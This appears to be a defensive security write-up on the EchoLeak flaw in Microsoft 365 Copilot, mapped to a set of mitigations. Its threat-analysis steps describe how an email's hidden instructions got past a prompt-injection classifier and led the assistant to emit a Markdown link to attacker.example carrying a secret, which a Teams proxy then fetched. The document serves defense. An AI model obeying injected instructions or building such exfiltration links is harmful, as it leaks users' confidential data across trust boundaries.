AIDEFEND in Action AIA-0010 Validated Research Published: Apr 23, 2026

Microsoft "EchoLeak": How One Email Turned Microsoft 365 Copilot into a Zero-Click Data Exfiltration Path

EchoLeak shows how one external email can move from "reference material" to "instructions the model obeys" once Microsoft 365 Copilot (Microsoft's enterprise AI assistant for Microsoft 365 data) retrieves it into the same answer context as internal data. The exploit then hides sensitive data inside a Markdown link or image URL and relies on automatic fetching plus a CSP-allowed Microsoft Teams proxy to send that data out with zero clicks. The defensive lesson is broader than a better classifier: teams need retrieval-time scanning, trust-boundary separation, sink enforcement, and output-layer leak blocking.

Indirect Prompt InjectionData ExfiltrationSink EnforcementAI CopilotsEnterprise AI
7 applicable AIDEFEND defenses
Source: EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System 
Authors: Pavan Reddy and Aditya Sanjay Gujral
Original article: Sep 6, 2025

Threat Analysis

  • Step 1: seed the system with a normal-looking external email. The attacker sends business-style text with hidden instructions. The paper says the wording looked normal enough to evade Microsoft's XPIA classifier.
  • Step 2: wait until Copilot retrieves that email next to internal data. Later, a normal user query pulls that email beside internal mail and files. Once mixed into the same prompt context, the email stops being passive data and starts acting like instructions.
  • Step 3: hide the secret inside Markdown. Copilot is pushed to emit a reference-style Markdown link or image, such as [Project update][ref] plus [ref]: https://attacker.example/<secret>. The visible text looks harmless; the hidden URL carries the secret.
  • Step 4: turn that output into zero-click egress. The chat UI auto-fetches Markdown images. The paper says direct attacker domains were blocked by CSP, so the chain used a CSP-allowed Microsoft Teams preview endpoint to fetch the secret-bearing URL instead.
  • Why this matters: no login, attachment, or click was needed. Microsoft says it fixed the issue before disclosure and saw no evidence of in-the-wild exploitation.

Applicable AIDEFEND Defenses (7)

AID-H-006.002
Text, Markup & Structured Output Sanitization and Release Gate
Very High
Before rendering a Copilot answer, the chat surface should remove model-generated remote images and other subresources or load them only through a controlled proxy, with automatic link previews disabled. An independent browser-egress test should then prove that Markdown, HTML, CSS, SVG, and reference-style links cannot trigger a request. This directly closes EchoLeak's zero-click fetch boundary; Outer-URL normalization alone cannot authorize a target nested in a preview-service query. The renderer and preview path require provider-controlled integration, not an assumed tenant setting.
AID-D-014.001
Post-Retrieval Malicious Content Scanning
Medium
Run G001 on the exact complete email-chunk snapshot before context assembly, with separately signed collection receipt, policy and pinned classifier artifacts. Keep the asset version, retrieval route and complete window coverage bound to the result. The sample emits a signed finding rather than removing content; an independent admission owner must reject findings, incomplete coverage and errors. A calibrated classifier can still miss business-like instructions, and the EchoLeak disclosure does not test this AIDEFEND classifier. Microsoft integration is required.
AID-D-003.002
Sensitive Information & Data Leakage Detection
Medium
Configure G004 with protected tenant-specific project names, identifiers and confidential literals, and scan complete output fields before release. Independently extract and decode the URL fields actually used by the renderer. The stock sample is not a universal detector for arbitrary internal prose or encodings; a NO_FINDING result can still miss confidential content. Detection supplies content-bound evidence, while the release and sink gates own blocking.
AID-H-018.005
Value-Level Capability Metadata & Data Flow Sink Enforcement
Medium
This is the clearest place to break the actual exfiltration path. Even if the model has already been influenced by the attacker email, internal values should not be allowed to flow into an external URL, a preview proxy, or any other outbound sink unless policy explicitly allows it. EchoLeak worked because the system treated the URL as syntactically acceptable, not because the destination was actually safe for the data being inserted into it. This requires a controlled runtime with authenticated source/content bindings for every derived value, complete sink coverage and fail-closed unknown labels. One ingress label does not track arbitrary model rewriting. Native processes, browser requests and allowed destinations need separately verified coverage; stock SaaS deployment is not established.
AID-H-016.001
System Prompt Structure & Instruction/Data Separation
Medium
Keep the exact external-email text in a structurally serialized data-only namespace, with trusted instructions supplied separately. Escaping prevents delimiter breakout, but a model may still follow malicious prose inside the data field. This is defense in depth, with independent retrieval admission, tool authorization and renderer release; provider integration is necessary.
AID-H-017.007
Dual-LLM Isolation Pattern
Medium
A quarantined email reader can supply bounded observations through a broker to a separately privileged answer component. Do not treat a typed free-text summary as safe or permit it to authorize internal retrieval or external output. The published G001 broker validates price-observation.v1, not this domain. A separately implemented domain schema and independently verified process, credential and network isolation are required. Validated string fields can still contain malicious instructions or false observations; privileged actions and renderer sinks need their own authorization.
AID-D-001.001
Per-Prompt Content, Intent & Obfuscation Analysis
Medium
Screen the exact external-email text admitted during retrieval, using a calibrated G001 classifier and an independent admission gate. The reported Microsoft XPIA bypass is evidence about that deployed classifier, not a test of AIDEFEND G001. Benign-looking wording can still evade semantic screening; do not equate a NO_FINDING result with safe content. Before admission, independently require every necessary classifier category and a finite score in the valid range. The current G001 sample can return PASS/NO_FINDING for empty results, missing categories or NaN scores; treat these as errors and refuse admission. This additional result-contract validation is not implemented by the published sample. False negatives still require separate tool and output controls.

What Defenders Should Do Now

  • Inventory every enterprise copilot workflow that can mix external email, chat, or documents with internal files in the same answer context. Flag any workflow that answers sensitive internal questions while still retrieving outside content.
  • Add a retrieval-time scan and trust label to external content. Emails and documents from outside the organization should be rescanned when retrieved, then wrapped in a data-only channel or excluded by default from high-sensitivity tasks.
  • Block model outputs from introducing arbitrary external URLs, remote images, or long secret-bearing query strings. Run sensitive-data and suspicious-link detection before the answer is rendered or logged.
  • Treat preview services, proxy URLs, and browser fetches as data sinks, not as harmless UI features. Audit which domains and proxy paths your copilots are allowed to reach, and remove any path that can forward arbitrary model-generated URLs.
  • Turn this incident into a regression test. Use a harmless synthetic email that tries to smuggle a fake secret into a Markdown link or image, and keep testing until the chain fails at more than one layer.

Conclusion

EchoLeak matters because it turns prompt injection into a concrete zero-click exfiltration chain instead of a theoretical chatbot oddity. One email became instructions, one answer became a network request, and internal data moved across trust boundaries without a click. AIDEFEND  maps that path to retrieval-time scanning, prompt separation, value-level sink enforcement, leak detection, and a render-surface release gate that removes or proxies remote subresources and proves that model output cannot silently become outbound traffic.

Last updated: